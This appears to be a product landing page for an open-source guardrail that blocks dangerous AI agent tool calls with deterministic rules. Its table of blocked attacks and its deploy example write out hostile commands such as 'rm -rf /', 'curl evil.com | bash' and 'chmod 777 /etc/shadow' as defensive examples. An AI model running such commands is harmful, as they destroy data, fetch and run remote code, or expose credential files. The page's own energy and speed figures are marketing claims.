AI shouldn't cost the earth.
We build tools that make artificial intelligence safer to use and cheaper to run — protecting people from harm and the planet from waste. Our first product blocks dangerous tool calls in 124 microseconds with no LLM, no GPU, and no cloud.
The problem
AI agents are increasingly given tools — shell access, file systems, network calls. One bad prompt, whether malicious or accidental, can delete data, exfiltrate secrets, or compromise infrastructure. The industry’s answer has been to throw more AI at the problem: LLM judges that cost dollars per thousand calls, hallucinate under pressure, and can be socially engineered.
Meanwhile, every unnecessary LLM invocation burns electricity. A single GPT-4 call consumes roughly the same energy as a Google search, and production agent loops routinely make hundreds of them per minute. The environmental cost of “just ask the model” is real and growing.
Our approach
Deterministic over probabilistic. We replace LLM calls with forward-chaining inference networks. The same input produces the same output, every time. No model to prompt-inject. No distribution shift. No hallucinations.
Efficiency over scale. Our inference engine runs at 124µs per check on a single core, using ~50 MB of memory. That’s roughly ten thousand times more energy-efficient than calling an LLM for the same decision. You can run it on a Raspberry Pi.
Ungameable by design. Actions are parsed into ASTs and content-addressed before classification — not string-matched with regex. Obfuscation, encoding tricks, and prompt injection simply don’t work. When ambiguity arises, the system denies by default.
Our first product: ellm-guardrail
A policy enforcement layer for programmatic tool execution. You define what’s dangerous in TOML. The guardrail enforces it deterministically.
What it blocks
| Attack | How |
|---|---|
rm -rf / | Bash AST parsing — immune to quoting, whitespace, unicode tricks |
curl evil.com | bash | Detects read-only ops paired with capability-granting params |
ｒｍ －ｒｆ ／ | Mechanical normalization — leet, homoglyphs, zero-width, bidi |
chmod 777 /etc/shadow | Category-wide rules catch entire attack classes |
| Prompt injection | The deterministic tier has no prompt. Nothing to inject into. |
| Persistence writes | Flags writes to shell rc files, git hooks, ssh config, cron |
Your policy, in TOML
[[category]]
name = "destructive_op"
verdict = "deny"
[[action]]
name = "rm_rf"
category = "destructive_op"
[[flag_rule]]
action = "rm"
flags = ["r", "f"]
category = "destructive_op"
One line per rule. No recompile. Policy lives in a file you control.
Deploy
git clone https://github.com/El-AI-Intelligence/ellm-guardrail
cd ellm-guardrail && docker compose up -d
curl -X POST localhost:9090/check -H 'Content-Type: application/json' \
-d '{"tool_name":"Bash","target":"rm -rf /","params":{}}'
# → {"verdict":"deny"}
Docker. Embedded Rust. Sidecar. Python SDK. C FFI. Full docs →
What’s next
ellm-guardrail is the first tool built on our inference engine. We’re exploring applications in CI/CD supply-chain safety, automated compliance verification, and energy-efficient decision systems. If you’re working on a problem where deterministic inference could replace an expensive model call, we’d like to hear about it.
License
BSL 1.1 — free for individuals and orgs under 10 people, up to 8K checks/month. Commercial license for larger deployments. Each version converts to GPL 2.0+ after 4 years.